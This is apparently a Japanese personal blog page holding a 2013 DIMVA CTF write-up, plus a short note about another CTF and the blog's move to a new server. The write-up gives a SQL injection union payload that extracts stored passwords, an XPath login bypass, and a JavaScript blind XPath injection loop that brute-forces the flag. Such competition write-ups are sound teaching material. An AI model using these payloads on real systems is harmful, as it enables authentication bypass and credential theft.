DIMVA CTF 2013 writeup

DIMVA CTFに参加していた。

私のチーム(Epsilon Delta)は850ポイントで17位だった。

Web 100

画像アップローダーが用意されており、どうにかこうにかする問題。

はじめにいくつか画像が用意されており、パスワードを入力しないと閲覧できない画像があったため、そのパスワードを求める問題と推察される。

各画像にはタグがついており、同じタグを持つ写真を一覧で見れる。

しかし、シングルクオートの入ったタグの場合は一覧ページでエラーが発生していたため、SQLインジェクションがあるとわかった。

画像をアップロードした際、画像のコメントがタグになって登録されるので、そこにSQLインジェクションを埋め込む。

' union all select password from pictures--

その後、一覧ページを閲覧することでパスワードが入手でき、c0ffeeからはじまるパスワードがFlagであると判明した。

c0ffee29e34ad42d38cbe236913c911a

パスワード付きの画像はこんな感じだった。

SONY DSC

素直でわかりやすい問題だったように思う。

Web 200

普通にアクセスすると

10
'user' and/or 'password' parameters missing, please provide an xml parameter of the following form to login: <login><user>(base64-encoded username)</user><password>(base64-encoded password)</password></login>

ってのが返って来る。

一日近く、urlにログイン用xmlを足したり、ファイルとして送信したり、送信するパケットのいろんなところに埋め込んだりして悩んだ。。。

コンテスト終了直前になって、/?xml=…とすればログインできることに気づく。

xml parameterってのが素直にxmlって名前のリクエストパラメータだったのに、そこに気づくまでに一日かかって英語の壁を感じる。

これがわかればあとは解くだけ。

とりあえず色々試していると、以下のレスポンスが返って来たため、XPathへのインジェクションだとわかった。

 Error during login: Query: //User[UserName/text()='' and Password/text()='' '... ........................................................^^^ Invalid query somewhere around here (I think)

「’ or ‘1’=’1」とかしてログインに成功すると、htmlのコメントで「users.xml~が残ってるからあとで消すように」と書かれているのでアクセスしてみる。

xml形式のユーザーデータがあり、「c0ffeefa7745f449c26000a2612affec」というデータがあったので、それをFlagとして送信したが失敗。

どうやらuser.xml~は古いデータらしく、現在は別のものに置き換わっている模様。

なのでblind injectionを利用して現在のデータからFlagを取得する。

var search = "c0ffee";
 
var test = function(next) {
	$.ajax({
		url: "/",
		data: {
			user: "",
			password: Base64.encode("' | //User[contains(.,'" + search + next)
		}
	}).done(function(data) {
		search += next
		nextTest();
	});
};
 
var nextTest = function() {
	for (var i="a".charCodeAt(0);i<="z".charCodeAt(0);++i) {
		test(String.fromCharCode(i));
	}
	for (var i=0;i<=9;++i) {
		test(i);
	}
};

以下のFlagが得られる。

c0ffee153dbc077ea80f4e697a63ec1e

Accepted!!!

SIGINT CTF 2013 writeup – bloat (cloud 200)

CTF

えと、ブログを更新停止している間に、Epsilon DeltaとしていくつかCTFに参加していました。

  • Codegate YUT Preliminary 2013
  • Nuit du Hack CTF Quals 2013
  • BaltCTF Quals 2013
  • SECUINSIDE CTF Quals 2013
  • Boston Key Party CTF 2013
  • DEF CON CTF Qualifier 2013
  • SIGINT CTF 2013

はじめは海外のCTFの感覚がつかめず、ちゃんと解いたような記憶もなかったのですが、BKPあたりからは少し慣れてきたような気がします。

今まで解いてた問題のwrite upを書こうとも思ったのですが、すっかり忘れてしまっているため、一番最近やったSIGINT CTFのwrite upを書くことにします。

“SIGINT CTF 2013 writeup – bloat (cloud 200)”の続きを読む

サイト移転中です

なかなか時間が取れず、サイトの移転を先延ばしにしていたのですが、移転することになりました。

移転元: http://tyage.sakura.ne.jp/
移転先: http://tyage.net/

さくらのクラウド二万円クーポンを頂いたため、サーバはそこにおいてあります。

さくらのVPSもさくらのレンタルサーバも契約してあるんですが、せっかくなのでクラウドに統一して、他はいらないかなと思っています。

あんまり深く考えず、OSはDebian 7.1(wheezy)で、このブログとかはnginx使って動かしています。

とりあえずブログから移転することにしました。

移転前のサイトのコンテンツは、残すか消すか迷っています。

いくつかのサービスやゲームはさくらのクラウド上で動かすつもりです。

移転元のサイトは今年分の料金を払ったので、あと1年だけ残すことになります。

ここのところ、ブログも書けていないのでちゃんと書いていきますね。

移転に際して、以下のページを参考にさせていただきました。
nginxベースの高速なWordPress環境をお名前.comのVPSで構築
Debian Squeeze に nginx + php-fpm な Web サーバーを構築する